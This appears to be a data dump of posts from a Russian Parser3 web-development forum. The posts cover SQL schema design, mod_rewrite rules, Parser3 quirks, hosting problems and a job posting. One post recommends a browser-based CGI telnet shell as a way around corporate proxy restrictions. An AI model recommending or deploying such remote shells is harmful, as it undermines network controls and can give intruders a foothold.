[b]books[/b]: [i]books_id | title | author | year | И так далее.[/i]\
\
Я хочу сделать так. При нажатии на \"серийные издания\" мы попадаем на страницу где представлены серии книг (title из seria)\
при нажатии на какую-то серию попадаем на старницу где представлены id_книг.\
То-есть я отдельно веду таблицу с перечнем книг, отдельно серий,\
А при редактировании таблицы seria, я в поле id_книг указываю, например, 1,5,6,3. То-есть берем из таблицы books книги с таким id.\
Cделать эту выборку посредством Mysql не выходит. \
SELECT * from books WHERE .... books_id = указанным числам из seria\
Посоветуйте пожалуйста."
"60185","Если я правильно понял задачу, всё проще:\
\
[b]books:[/b]\
bookId, title, author, dt, description, seriaId\
\
[b]series[/b]\
seriaId, title, description\
\
В series - список серий.\
В books - инфа о книге, дата выхода, seriaId - ссылка на id серии.\
\
При выводе списка книг в серии, просто:\
select * from books where seriaId = $ид_серии.\
\
В случае если у вас одна книга может принадлежать к нескольким сериям, то надо сделать таблицу booksToSeries:\
bookId, seriaId\
\
Ну, а у книг не входящих в серии seriaId оставлять \"0\"."
"60186","может так:\
\
SELECT\
    books.title,books.author,books.year \
FROM \
    seria,books\
WHERE\
    seria.books_id=books.id_книг\
\
?\
\
З.Ы.\
хотя.... проще и правильнее, ИМХО, когда вместо id_книг будет использоваться books_id, а еще проще -- посмотреть предыдущий ответ и исходить из принадлежности книг к определенной серии по seriaID"
"60187","id_книг и books_id это одно и тоже. Id_книг это поле в которое хотелось бы писать books_id, через запятую..."
"60188","Спасибо, буду пробовать..."
"60189","З.З.Ы.\
...\
SELECT\
books.title,books.author,books.year,seria.title..."
"60192","в parser работа со строками такова, что ничего никуда не клонируется.\
поэтому описанное можно понять только в том смысле, что вы ходите по краю.\
\
одно неловкое движение и падаете за край отпущенной вам памяти на процесс.\
см. man limits\
\
что такое \"большой код\"?\
вообще parser призван обрабатывать нормального размера страницы.\
если нужно сильно больше. нужно почаще собирать мусор, это полезно и вообще и в конкретном случае."
"60193","тут нет много чего из упомянутой области:\
нет вложенных транзакций.\
нет XA транзакций\
нет bulk операций\
нет prepared statements\
\
очень многим это всё не нужно, вот этого и нет.\
лично мне affected rows в веб-проекте не было нужно ни разу.\
\
если интересно, приведите пример исходной задачи, обсудим, так ли уж ничего нельзя выдумать?"
"60194","тонкая ;)\
\
^method(100) вы передаёте константу. специально оптимизированный случай.\
\
^method($o) вы передаёте выражение, которое вычисляется внутри метода всякий раз, что вы обращаетесь к параметру.\
\
документации не противоречит ни то ни другое.\
согласно документации передаётся выражение, вычисляемое каждый раз.\
в этом смысле 100 — замечательное выражение.\
\
соответственно операции над $i суть операции над временной переменной:\
[code]\
@method[expression]\
\
$expression << эта запись эквивалентна этому:\
$value[$expression]\
$value\
[/code]\
\
применительно к описанному случаю:\
[code]\
@method[expression]\
\
^expression.div(10) << эта запись эквивалентна этому:\
$value[$expression]\
^value.div(10)\
[/code]\
понятно, что операции над $value никак не затрагивают переданный $expression.\
\
вас просто несколько смущает тот факт, что параметр-выражение \"автовычисляется\".\
мы пытались максимально подробно выразить это в документации и привести яркие примеры."
"60195","[code]$xdoc[^xdoc::load[test.xml]][/code]\
и дело с концом?\
\
потом можете лазить по нему с помощью xpath или DOM.\
\
или (когда не поленитесь) сделать XSL обработку и получить из него нечто хитрое."
"60196","поскольку книга не кинет в вас тухлым помидором за мысли \"хранить в поле id через запятую\".\
\
шшшвыыырк"
"60197","Это образное выражение )\
Хранить значения полей id..."
"60199","ну, я конечно всепонимаю... но я чайник. мне нужно пропарсить XML и то что будет - кинуть в ДЛЛ библиотеку. раньше с XML дело не имел. \
что мне с этой строчкой делать ? )"
"60200","Случилось на Мастерхосте сегодня ровно с 02:00 до 03:00. Вылечилось само, оставив только 700+ записей в логе парсера. Сейчас все нормально.\
\
На форуме мне такой ошибки вроде не встретилось."
"60201","Подскажите пожалуйста.\
Я делаю сейчас сайт, с навигацией через 404-страницу, и столкнулся с тем, что данные post теряются при редиректе (в данном случае при использовании auth.p).\
Как быть, это лечится?"
"60203","что это фича :)\
\
но, как быть если нужно передать методу числовую константу (или несколько), но которая вычисляется где то выше динамически?\
\
выходит решения два - либо делать переприсвоения вида $p1($p1),p2(p2) ..., что имхо некрасиво.\
либо неспортивно писать вместо ^p1.inc(1) - $p1($p1+1).\
\
Конечно лучше всего бы подошел ^method[$i], но тогда методу передается уже строка, ^p1.inc(1) вызывает уже другую ошибку.\
\
Может как то добавить возможность методу \"знать\" тип переменной/константы, которую ему, методу, передали?\
\
т.е. при \
[code]$o(1)\
^method[$o]\
\
@method[expr]\
^expr.inc(1) <- здесь было бы известно, что expr is \"double/int\", а не string.\
[/code]\
\
Второй вариант - автоматическое преобразование типов, т.е. даже если у $expr тип string, но ^expr.inc(1) пытается работать с ним как с числом и ошибка случается только тогда, когда $expr в число не преобразовывается ($expr[абвгд])."
"60204","Я mod_rewrite никогда не использовал до этого, пытаюсь разобраться.\
Посоветуйте.\
В url будут указываться несколько разделов - /forum, /forum/1, /topic, /topic/1, /user/123, /news/5 и т.д.\
Т.е. есть ограниченное количество основных вариантов (forum, news, user), их немного.\
Как правильно сделать преобразование /forum/пара/метры к /index.p3?mode=forum&q=пара/метры?\
\
Т.е. надо правильно подставить mode (первое слово), и передать целиком url, чтобы уже парсером разобрать все варианты..\
\
Я пытаюсь разобраться, но пока тёмный лес, честное слово.. :)"
"60205","Мы полгода назад попросили их проапгрейдить mysql до 5 версии. Они сообщили, что для этого нужно установить шестую FreeBSD. А это стоит около 200 баксов. Мы спросили, можно ли в таком случае проапгрейдить мускуль хотя бы до 4.1 без переустановки ОС. Ответом было \"нельзя!\". Так и живём без юникода..."
"60206","Достаточно ли списка\
RewriteRule ^forum(.*)$ index.p3?mode=forum [NC]\
RewriteRule ^news(.*)$ index.p3?mode=news [NC]\
для моего варианта? \
Или я что-то не учёл?"
"60207","я не понял зачем NC. я бы написал так:\
[code]\
RewriteRule ^(news|forum)(.*)$ /index.p3?mode=$1&q=$2 [L,QSA]\
[/code]"
"60208","RewriteRule ^(news|forum)(.*)$ /index.p3 [L,QSA]\
\
Я тут подумал, зачем я параметры аля mode и q передаю, если виден $request:uri. Можно просто его разбирать сплитом. \
Будет ли оно нормально работать?\
\
ps: Извиняюсь, за такую назойливость. Просто хочу удостовериться, что после того как я сайт допишу не вылезет какой-нибудь баг из-за которого всё придётся переделывать. :)"
"60209","Ведь получить значение из $form:mode куда проще, чем выискивать его разбирая $request:uri"
"60210","А на сколько часов и в какую сторону вы \"переводили часы\"?"
"60211","Я ничего не переводил. Утром (в 7) обнаружил в логе пачку записей об этой ошибке ровно с 2 до 3 ночи. До этого времени и после него - ничего.\
\
Я знаю, что такое 'roll' bad resulting time, но с довеском (after reconstruction) - никогда не видел, тем более чтобы само по себе случалось..."
"60212","возможно в вашем коде есть что-то подобное:\
[code]\
$dtNow[^date::now[]]\
^dtNow.roll[month](-1)\
[/code]\
\
этот код сдвигает текущее время на месяц назад. но в период с 2 до 3 ночи сегодня это сделать было невозможно, т.к. полученная дата попадает в диапазон 2-3 часов 25 марта, которого... не существует, т.к. осуществляется перевод часов и за 1:59 следует 3:00."
"60214","1. В корне диска создаете файл \"sape_code.php\" и помещаете туда следующий php-код (не забудьте номер пользователя поменять!):\
[code]<?php 	 \
$o['request_uri'] = $_GET['pageuri'];  \
$a = $_SERVER['REQUEST_URI'];\
define('_SAPE_USER', '6ffd0466cc74e856a8d69e7bbf3ec722');    require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php'); \
$sape = new SAPE_client($o);\
echo $sape->return_links();\
?>[/code]\
\
2. В коде страницы, где будут размещаться ссылки от SAPE пишем:\
[code]^usePHP[/sape_code.php?pageuri=$request:uri][/code]\
\
3. Не забываем в auto.p разместить [url=\"http://www.parser.ru/forum/?id=33412\"]код для php-вставок от Александра Петросяна[/url]:\
[code]\
@usePHP[fileName][path;file]\
$path[$request:uri]\
$path[^path.match[/.*?^$][]{}]\
$file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName;\
$.form[$form:fields]\
]]\
^untaint{$file.text}\
[/code]\
\
4. Кричим \"ура!\", бросаем в воздух чепчики и зарабатываем денюшку."
"60215","как мужик звонил с радио и требовал самовсходящие шины в пакетиках.\
\
т.к. вы не можете сформулировать вопрос, мы не можем помочь."
"60216","не понял начало вопроса.\
неработающий код в студию?\
\
(попытки заглянуть под подол к junction уже обсуждались и отметались за запутанностью)"
"60217","мы успешно хранили utf8 в каком-то мега тухлом mysql.\
просто указываете ширину колонки в два раза шире, чтобы заведомо поместились русские буквы,\
и НЕ пользуете length() left() и прочие функции базы.\
\
ведь mysql серверу, в сущности, всё равно, что за буквы вы туда кладёте.\
\
тонкость начинается там, где начинается order by.\
мы использовали хитрый подход с самодельной кодировкой, с самодельной collation sequence.\
\
сортировку нетысячных объёмов можно поручить Parser'у.."
"60218","Но, по-моему, проще найти 200 баксов :-)"
"60219","Если речь еще не ушла от обсуждения Мастерхоста, то я не могу связать две вещи. Если вы просите поставить mysql5, то тариф у вас — обычный виртуальный хостинг. Какие 200 долларов, если самый дешевый VPS (виртуальный выделенный сервер) стоит 20 долларов? А на VPS можно поставить хоть mysql6."
"60220","цитирую службу поддержки:\
\
[quot]Здравствуйте!\
\
> Пожалуйста, переведите нас на MySQL 5.0.\
\
К сожалению, для установки MySQL 5.0 требуется обновление операционной системы. Стоимость данной услуги будет составлять 5600 рублей.\
Согласны ли Вы?[/quot]\
\
И ещё:\
\
[quot]> Есть ли возможность поставить MySQL 4.1 без переустановки ОС?\
\
К сожалению, поставить MySQL 4.1 не предоставляется возможным.[/quot]"
"60222","однако вам придется перекодировать БД: сделать dump, преобразовать из UTF-8 в 1251, загрузить обратно, после этого подключиться парсером с указанным выше ключиком.\
\
поэкспериментировать можно на другой БД: выгрузили свою, сконвертировали, загрузили _в_другую_, изменили строку соединения чтобы в ней вигурировала новая БД + ключик, проверили, если что-то не так -- вернули закомментированную старую строку соединения."
"60223","Интересно и как с этим бороться?\
Ставить в ^try{}, а вместо страницы выдавать, \"Извините, но Вы умудрились прийти в несуществующее время. Попробуйте зайти в реальном отрезке времени. :)\""
"60224","например, если точность времени не так важна, то можно так:\
[code]\
@roll[dt;sType;iValue]\
^try{\
	^dt.roll[$sType]($iValue)\
	$result[$dt]\
}{\
	$exception.handled(1)\
	$result[^roll($dt-1/24)[$sType]($iValue)]\
}\
[/code]\
\
P.S. это набросок, надо проверить и сделать чтобы он не зациклился например на 1970-01-15 %-)"
"60225","Можно ли каким ли образом можно получить оригинальный http-заголовок запроса в виде строки?\
\
Что-то типа такого:\
\
GET /forum/ HTTP/1.1\
Host: www.parser.ru\
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\
Accept-Encoding: gzip,deflate\
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\
Keep-Alive: 300\
Proxy-Connection: keep-alive\
Referer: http://www.parser.ru/forum/\
Cookie: auth.persistent=0; auth.name=dev; 1__author=user; 1__is_refresh_opener=0; 1__is_notify=0"
"60226","При отправке кирилицы из формы клиентской части в бэкенд происходит следующая ошибка: \
\
JavaScript code generated by backend is invalid!\
Not Acceptable\
An appropriate representation of the requested resource [b]путь к странице с бэкендом[/b] could not be found on this server.\
\
Как можно подлечить?"
"60227","Eserv \"мало чего поддерживает\" - в каком смысле? Что он не поддерживает."
"60228","вопрос снят.\
\
escape - unescape"
"60230","Ситуация стандартная: при логине/логауте на одном домене необходимо повторить эту процедуру на всех остальных доменах проекта. Написал следующий метод для класса myauth, реализующий [url=http://www.asp101.com/articles/chris/transfercookies/default.asp]cookie ring[/url]. Параметром передаётся таблица доменов, на которые по цепочке происходит редирект. Как только возвращаемся на исходный домен, редирект прекращается. Будут ли какие-нибудь замечания?\
\
[code]###########################################################################\
# shares cookies across domains\
@shareCookies[tDomain][sQuery;sName;sValue]\
^if(def $logon_data.[auth.logon] || def $logon_data.[auth.logout]){\
	^if(^tDomain.locate[domain;$env:HTTP_HOST]){\
		^tDomain.offset(1)\
		^if(def $logon_data.[auth.domain]){\
			^if($tDomain.domain eq $logon_data.[auth.domain]){\
				$response:location[^untaint{http://${logon_data.[auth.domain]}$logon_data.[auth.uri]}]\
			}{\
				$response:location[^untaint{http://$tDomain.domain/?$request:query}]\
			}\
		}{\
			$sQuery[^logon_data.foreach[sName;sValue]{$sName=$sValue}[&]]\
			$response:location[^untaint{http://$tDomain.domain/?auth.domain=$env:HTTP_HOST&auth.uri=$request:uri&$sQuery}]\
		}\
	}\
}[/code]"
"60232","Сейчас этого не требуется, однако, если идет запрос UPDATE, но изменений в таблице нет (запрос выполняется, но фактического обновления данных не происходит), то как узнать, был ли запрос успешен в этом случае?\
\
Если не проверять данные (для отката или еще для чего-нибудь), то в последствие могут появился определенного рода сложности.\
Вы так не думаете?"
"60233","[quot]\
...могут появился определенного рода сложности...\
[/quot]\
\
какого рду сложности вам видятся? я не могу себе их даже вообразить.\
\
[quot]\
как узнать, был ли запрос успешен в этом случае\
[/quot]\
\
если запрос выполнился без ошибок (exception) -- он был успешен.\
\
\
БД -- хранилище данных. она может изменяться из разных мест, и в общем случае для того чтобы показать данные совершенно не важно кем и как они были модифицированы.\
\
писать код таким образом, чтобы он основывался на результатах, которые возвратил INSERT/UPDATE мне кажется совсем не правильным, т.к. для поддержания целостности данных у SQL есть другие механизмы: ключи, транзакции."
"60234","Когда сервер сомневается (например, 5 разных вариантов), то он на выбор кидает Multiple Choices, когда в адресной строке лишний символ — редирект. И только когда Апач совсем отказывается реагировать, то в ход идут другие программы.\
\
[quote]Секрет, который знают двое — уже не секрет.[/quote]"
"60235","Сложости вывода сообщений. Вот я и смотрю, что скоро мне [i]трай[/i] понадобятся.\
\
О транзакциях на Парсере речь не может идти. Кому надо — будут эмулировать временными таблицами (ну, бред)."
"60236","[quot]\
О транзакциях на Парсере речь не может идти.\
[/quot]\
\
на чем основано это, столь категоричное, ваше заявление? и какие транзакции имеете в виду вы? я имел в вижу использование SQL-ных транзакций. при написании кода на парсере использовать их можно и очень даже не сложно."
"60237","Есть отдельные файлики с .html кодом, по необходимости выбирается нужный и подключается при помощи оператора ^include[]. Можно ли в эти .html файлики включить переменные и как потом при подключении передавать значения этих переменных?"
"60239","P.S. писать их в парсере, если хочется использовать транзакции -- не нужно. connect == одна транзакция. если произошло необработанное исключение, то на '}' будет rollback, иначе -- commit.\
\
P.P.S. предлагаю завязывать чисто теоретические или идеологические споры. если у вас есть конкретная задача и вы не знаете как её решить -- сообщайте задачу. претензии вида 'А-а-а, а вот у вас нет функции YYY которая есть у ZZZ' без указания места, где вам эта функция потребовалась -- не принимаются, т.к. с большой долей вероятности в парсере есть аналог/заменитель."
"60241","[code]\
@main[][hLocalOne]\
$hLocalOne[\
	$.t[Значение которое я ожидаю]\
]\
^two[$hLocalOne]\
# Место где я ожидаю значение\
$hLocalOne.t\
\
@two[hLocalOne][hLocalOne]\
$hLocalOne.t[Значение которое я неожиданно получаю][/code]\
\
Как получить в нужном месте значение которое я ожидаю"
"60242","Вопрос как скопировать хеш, а не сослаться на него"
"60243","Может праильнее сделать это в iframe пустой страничкой?"
"60244","Почему Вы эти фалики не подключаете через @use или ^use"
"60245","...который будет рекурсивно его обходить.\
\
ссылка по теме:\
http://www.parser.ru/forum/?id=59873\
\
однако в простейшем случае достаточно такого:\
[code]^two[^hash::create[$hLocalOne]][/code]\
\
P.S. однако это -- бред."
"60246","Ну эти файлы - шаблоны, мне проще так, сделал метод ^incHtml[имя_файла] и все, он подсоединен и выведется в нужном месте. Но иногда надо передать туда некоторые параметры, например разные <title> шаблону top.html. Возможно такое? Параметры у меня передаются не дальше метода ^process[], тот код, который он вставляет, не видит значении переменных:("
"60247","Можете выложить на пример top.html, показав какие параметры вы хотите туда передать"
"60248","длинно: приведите код, как вы пытаетесь; опишите, что болит?"
"60249","я большой противник всяких $form:fields и тому подобного.\
поэтому $env:variables до сих пор и нет.\
\
конкретная исходная задача = ?"
"60250","Пытемся запустить Парсер 2 под IIS 6.0. Парасер работает -- html обрабатывает, но при попытке подключения к базе вот такое сообщение выдаёт:\
\
[quote]CGI Error\
The specified CGI application misbehaved by not returning a complete set of \
HTTP headers.[/quote]\
\
Очень просим разработчиков прокомментрировать. Как можно проблему решить?"
"60253","На сайте проекта форум не работает (сообщения не добавляются), поэтому пишу тут. Версия от 18 апреля при первом открытии выкинула:\
\
-----------------------\
\
В работе Parser произошла ошибка:\
\
compilation error: file c:/apache/сайты/localhost01/html/xsl/ element import\
xsl:import : unable to load mod/news.xsl\
compilation error: file c:/apache/сайты/localhost01/html/xsl/ element import\
xsl:import : unable to load com_template/layout.xsl\
\
Ошибку вызвал этот фрагмент:\
transform\
Ошибка произошла при работе с файлом:\
\
/classes/operators/xml.p, строка номер 6\
\
Что обычно приводит к ошибке «xml»?\
\
в вашем коде XML ошибки, или вы пытаетесь выполнить над XML недопустимую операцию.\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу)\
\
    * src в файле /classes/operators/xml.p, строка 6\
    * xmlTransformer в файле /classes/components/com_builder.p, строка 51\
    * _cRazdel в файле /classes/components/com_builder.p, строка 51\
    * buildPage в файле /index.html, строка 119\
    * content в файле /auto.p, строка 65\
    * jBody в файле /classes/common/sql.p, строка 76\
    * connect в файле /classes/common/sql.p, строка 76\
    * inc в файле /classes/common/sql.p, строка 76\
    * server в файле /auto.p, строка 62"
"60254","было бы очень удобно если б\
^int:sql{update|delete ...} возвращало число строк к которым был применен запрос"
"60256","для дальнейшего разбора полетов.\
бывает так, что для некоторых заказов нужно разбираться - какой была кодировка, какой рефер, какие cookies, user_agent и т.д.\
Выдирать все в ручную собирать по новой - как-то не очень. \
Тем более, что могут быть упущены X-поля."
"60259","[*] изменено задание фильтра. было $.tSubmitFilter[^table::create{...}] + $.iSubmitFilterThreshold(XY), стало: $.hFilter[$.tMask[^table::create{...}] $.dThreshold(XY)]\
\
[*] изменено задание проверки избыточных полей. было: $.bRefuseUnknownFields(1) + $.tAdditionalAllowedFields[^table::create{...}], стало: $.hFields[$.bRefuseUnknown(1) $.tAllowed[^table::create{...}]]\
\
[*] списки referer теперь проверяются строго (eq) но без учета ?параметров. согласно логам часть спамеров-людей приходит с каким-то спец софтом и сразу в referer-е передают адрес формы (что лично у меня не так), потом заполняют (или автозаполняют форму) и ручками жмут кнопку (т.е. не ошибаются и никогда не нажимают запрещённые фиктивные кнопки). вот теперь такие некоторое время курят (пока не собирут базу настоящих referer-ов).\
\
[+] добавлена возможность посылать запросы с пустым referer: $.hReferer[$.bRefuseEmpty(1)]\
\
[+] добавлена возможность писать в log: $.iLogAccess(1+2+16+32) цифры - битовые маски того, что пишем, подробности в коде класса. при этом подсчитывается и дописывается в лог общее колиичество запросов и количество запросов данного типа.\
\
[+] небольшая внутренняя оптимизация (к сожалению до серьезного рефакторинга руки не доходят, а код не нравится самому...)\
\
[+] в описании примера добавил букв об общих принципах подключения класса. интимные подробности остались в html-примерах внутри архива."
"60260","здравствуйте.\
у меня при добавлении в @auto[] переменной [code]$SQL.connect-string[mysql://логин:пароль@сервер:порт/имя][/code] и релоаде _test.html возникает ошибка 500.\
\
скажите пожалуйста, я все правильно делаю? и как это исправить?\
спасибо."
"60263","а вы знаете, парсер ничего про эту ошибку туда не пишет.. странно.."
"60264","Есть код\
[code]\
^connect[$connect_string]{\
$colors[^int:sql{select ... и т.д.\
[/code]\
\
Но иногда условие в запросе не выполняется, т.е. ни одной записи отобрать невозможно - возникает ошибка.\
Как корректно (правильнее, лучше) обрабатывать такую ситуацию?\
\
p.s. в поиске ничего не нашёл"
"60265","В справке. Это мой случай?\
[code]\
^int:sql{запрос}[$.limit(1) $.offset(o) $.default(выражение)]   [/code]"
"60268","поставил я этот патч WindowsXP-KB884020-x86-rus.exe, только ни хрена не изменилось\
достучаться до дополнительных 127.0.0.х не получается как ни парься"
"60269","если поле используется для создания страницы, вы знаете его имя = можете по имени достать и записать, куда нужно.\
если поле на создание страницы не влияет, его вроде бы незачем анализировать.\
\
вывод: не убедили."
"60270","[code]ping 127.0.0.2[/code] что даёт?"
"60271","вне IIS. если ясности не прибавится, возвращайтесь?"
"60272","Пробовал устанавливать на MTW хостинг парсерный скрипт.\
\
постоянно пишет ошибку в логах\
Premature end of script headers: /www/vhosts/psystation.ru/html/cgi-bin/parser3/parser3.cgi\
\
Скрипты заказиваю из дистрибутива Linux Redhat Far-ом  в режиме ASCI, права назначаю 775.\
\
Что делаю не так - подскажите пожалуйста?\
\
Ифнормация по версии у хостера:\
version 4.1.18-standard\
version_comment MySQL Community Edition - Standard (GPL)\
version_compile_machine i686\
version_compile_os pc-linux-gnu"
"60273","Premature end of script headers: parser3.cgi\
\
а как её можно устранить?"
"60276","parser3.cgi - бинарный, а не текстовый файл. Его надо закачивать [b]не[/b] в ASCII"
"60278","непонятно, что я сделал. но, видимо, оба файла (драйвер и клиент) должны лежать в одной папке.\
\
спасибо!"
"60279","По сути мне нужны поля - кодировка запроса, реферер и юзер агент.\
\
Психологическая тонкость - заголовку as-is доверяешь как-то больше, чем результатам его разбора. Когда есть оригинал, возникает впечатление, что все под контролем. \
Насколько это впечатление верное - большой вопрос, тут я с вами соглашусь."
"60280","Описание проблемы: иногда веб-скрипт на парсере слишком долго отправляет сообщение с помощью ^mail:send[]. Причины этого бывают разные - связь, доступность майл-сервера и т.д.\
\
Это приводит к недопустимым задержкам при генерации веб-страниц. \
В случае, например, с file::load - можно указать время таймаута самому. Для mail:send нужно ждать пока оно \"само\" не упадет. Но клиент, как правило, уже не дождется сообщения об ошибке - или сам остановит соединение или его закроет браузер по таймауту.\
\
Что можно сделать в этой ситуации?\
\
Мне видятся примерно такие варианты решения:\
\
- использовать комбинацию функций sleep/try/throw и переменной-флага (отправлено/не отправлено).\
\
- устанавливать в конфигурации парсера таймаут на smtp-соединения\
\
- попросить сделать функцию [code]^timeout[$sTimerName]($iTimeInMs){...code... ^thow[mail.timeout;..;..]}[/code]"
"60281","обычно в рассылках внизу ставят ссылку \"отписаться\". жаль, что в этом форуме этого нет.\
но это бы еще полбеды. нам предлагают зайти, авторизоваться и отписаться. \
пробуем... Пароля я не помню, так что открываю форму напоминания. а там меня спрашивают не только мой адрес, но еще и имя!\
адрес почты я знаю. а имя, под которым регистрировался, нет.\
И что теперь? ни пароля не узнать и не отписаться."
"60282","отписаться только по email тут нельзя, т.к. email у нас не уникален -- вы можете зарегистрировать несколько аккаунтов с одним email. \
\
отписаться только по нику в принципе возможно, т.к. ник должен быть уникальным, но я не приделывал подобного, т.к. никто не просил.\
\
можете послать мне письмо на misha собака самизнаетекакойдомен.ру с адреса, который вы желаете отписать -- отпишу."
"60283","лучше в своём скрипте заносите письмо и адресата в \"очередь\" (таблицу в БД) и двигайтесь дальше. А рассылку писем из очереди поручите cron-скрипту."
"60284","мы не используем win32 хостинг, поэтому не знакомы с описанной проблемой. \
\
на *nix почта отправляется через вызов локального sendmail... кроме того при работе через sendmail можно указать ключик $.options[-odd], который говорит sendmail-у что надо поставить письмо на отправку в очередь и отвалить, а не ждать результатов попытки отправить письмо."
"60285","[quot]\
По сути мне нужны поля - кодировка запроса, реферер и юзер агент.\
[/quot]\
\
я ещё сохраняю: REQUEST_METHOD, REMOTE_ADDR, HTTP_X_FORWARDED_FOR и все значения form."
"60286","1. Заходим в настройки\
2. Делаем какое-нибудь изменение\
3. Жмем \"Сохранить\"\
   Получаем ответ \"Новые параметры пользователя сохранены.\"\
4. О, вспомнили, захотели изменить еще одну настройку. \
   Изменем. Жмем еще раз сохранить и получаем:\
   \"Your data was already saved.\"\
   Ситуация исправляется повторным заходом в Настройки.\
\
Я примерно понимаю, что это сделано во избежании случайного двойного нажатия кнопки \"Сохранить\".\
Других вариантов нет?"
"60287","нашлась более приятная альтернатива PerlNet, http://www.rohitab.com/cgiscripts/cgitelnet.html\
\
Windows-бэкенда не требует, работает полностью через браузер (т.е. никаких проблем с корпоративными NTLM-прокси)"
"60288","могу лишь через пару секунд сделать refresh в форум, чтобы если что-то забыли -- то пошли стандартным путём: через настройки."
"60289","Back не делаю - в том то и дело\
\
[quote]могу лишь через пару секунд сделать refresh в форум[/quote]\
\
может бы не в форум, а как в некоторых форумах показывается страница с текстом \"Настройки сохранены\", а потом через пару секунд возвращается в Настройки с обнуленными переменными post?"
"60290","[quot]\
Back не делаю\
[/quot]\
\
тогда я не понимаю как вы пытаетесь изменить ещё одну настройку."
"60291","Жмем \"Сохранить\"\
Получаем ответ \"Новые параметры пользователя сохранены.\" и внизу форма с настройками, изменяем настройку и жмем еще раз сохранить"
"60292","Мы, в дизайн-студии Made, хотим взять на работу программиста. Он должен соответствовать нескольким требованиям и, кроме того, выполнить тестовое задание.\
\
Два начальных требования - вы программируете на \"Парсере\" и живете в Санкт-Петербурге (или около того).\
\
[b]Требования к кандидату и условия работы[/b]\
Отлично, если вы умеете:\
- преобразовывать \"Фотошопные\" макеты сайтов в кросс-браузерный HTML с густым сиэсэсом,\
- внятно писать на \"Джаваскрипте\";\
- проектировать и оптимизировать базы данных MySQL, а также представляете себе, как совместить сайт с другими СУБД SQL.\
XSLT, я уверен, вы владеете.\
Все-все-все знать с порога вы не обязаны. Вот быстро учиться - должны. Еще вы должны понимать чужой код, быть ответственным и правильно изъясняться по-русски.\
\
Мы вам предлагаем полнодневную работу в офисе рядом с метро \"Василеостровская\". Не менее 20 000 рублей после испытательного срока.\
\
[b]Задание[/b]\
На входе XML:\
[code]\
<tree>\
    <branch\
       id=\"1\"\
       parent_id=\"0\"\
       previous_id=\"2\"\
    >\
       <leaf id=\"9\" />\
    </branch>\
\
    <branch\
       id=\"2\"\
       parent_id=\"0\"\
       previous_id=\"0\"\
    >\
       <leaf id=\"15\" />\
       <leaf id=\"16\" />\
    </branch>\
\
    <branch\
       id=\"7\"\
       parent_id=\"2\"\
       previous_id=\"0\"\
    >\
       <bud id=\"95\" size=\"drop-small\" />\
    </branch>\
\
    <branch\
       id=\"5\"\
       parent_id=\"4\"\
       previous_id=\"0\"\
       title=\"Пятая\"\
    >\
       <leaf id=\"71\" />\
       <leaf id=\"25\" />\
    </branch>\
 \
    <branch\
       id=\"3\"\
       parent_id=\"0\"\
       previous_id=\"1\"\
    >\
       <leaf id=\"17\" />\
       <bud id=\"97\" />\
    </branch>\
\
    <branch\
       id=\"4\"\
       parent_id=\"2\"\
       previous_id=\"7\"\
    >\
       <leaf id=\"21\" />\
       <leaf id=\"22\" />\
       <bud id=\"98\" />\
       <leaf id=\"23\" />\
    </branch>\
</tree>\
[/code]\
\
Теги branch, как видно, даны списком. Нужно парой способов выстроить из них дерево, получая информацию о \"родителях\" в атрибутах parent_id. Поясните преимущества и недостатки каждого метода. Желательно топологически отсортировать \"ветки\" по @previous_id.\
Вкратце опишите методы построения дерева, которые вы не стали программировать.\
\
Сколько у вас заняло решение задачи? Будьте честны, потому что мы ожидаем от вас работы в заявленном вами темпе.\
\
Напишите нам о себе, приложите выполненное задание. Если хотите, задавайте вопросы.\
welcome /хот-дог/ studiomade.ru\
\
\
Веб-технолог студии Made\
Евгений Смирнов\
\
Санкт-Петербург, 2007"
"60293","Добрый день.\
Столкнулся с проблемой: на локальном компьютере все легко и просто устанавливается и работает.\
А вот как справиться с парсером на удаленном сервере. В данном случае Valuehost'е.\
Мне что качать надо чтобы устанавливать? Для win32 или как? Тут я и спотыкаюсь. Куда и как закидывать, что прописывать вроде разобрался."
"60294","У вас наверное хостинг с поддержкой php. Воспользуйтесь им для определения платформы.\
Например, создайте файл phpinfo.php\
со следующим содержимым:\
[code]\
<? phpinfo(); ?>\
[/code]\
положите в корень вашего веба и вызовите его\
http://ourwebsite/phpinfo.php\
\
там будет в том числе написано название платформы"
"60295","Для вставки части шаблона в основной шаблон я сделал свой метод ^incHtml[Имя шаблона]. Имя шаблона и соответствующий ему файл хранятся в БД.\
\
[code]@incHtml[name]\
$fname[^oSql.table{select file from templates where name = '$name'}]\
^if($fname){\
	^try{\
		$result[^include[/templates/html/${fname.file}.html]]\
	}{\
		^if($MAIN._fErrors){$exception.handled(1)}\
		$result[<div style=\"font-size: 12px^; background: #eeeeee^; padding: 5px\">\
В шаблоне <i>$name</i> указана несуществующая функция</div>]\
	}\
}{\
	$result[<div style=\"font-size: 12px^; background: #eeeeee^; padding: 5px\">\
Шаблона <i>$name</i> не существует</div>]\
}[/code]\
\
В этом метода ^incHtml[] используется немного переделанный (или не переделанный, не помню уже) метод ^include[filename], который выглядит так\
\
[code]@include[sFileName][fFile]\
^if(def $sFileName && -f $sFileName){\
	$fFile[^file::load[text;$sFileName]]\
	^if(def $caller.self){\
		$result[^process[$caller.self]{^taint[as-is][$fFile.text]}]\
	}{\
#		backward\
		$result[^process{^taint[as-is][$fFile.text]}]\
	}\
}{\
	$result[]\
}\
[/code]\
\
Сам файл с шаблоном -- обычный html-код. Но иногда мне нужно передать туда некоторые параметры, к примеру в шаблоне top.html мне надо, чтобы на разных страницах был разный <title>. Я хочу, чтобы параметры можно было передавать при подключении шаблона в методе ^incHtml[имя шаблона;хэш параметров].\
\
Примерно это должно быть так:\
\
[code]^incHtml[top;$.title[Главная страница сайта]][/code]\
\
, при этом в шаблоне писать\
\
[code]<title>$hParam.title</title>.[/code]\
\
У меня получается что переменная передается не дальше метода ^include[], в ^process[] ее уже не видно:("
"60296","раньше я форму не выводил, был просто текст что все сохранилось.\
даже не помню когда вывел.\
\
подправлю."
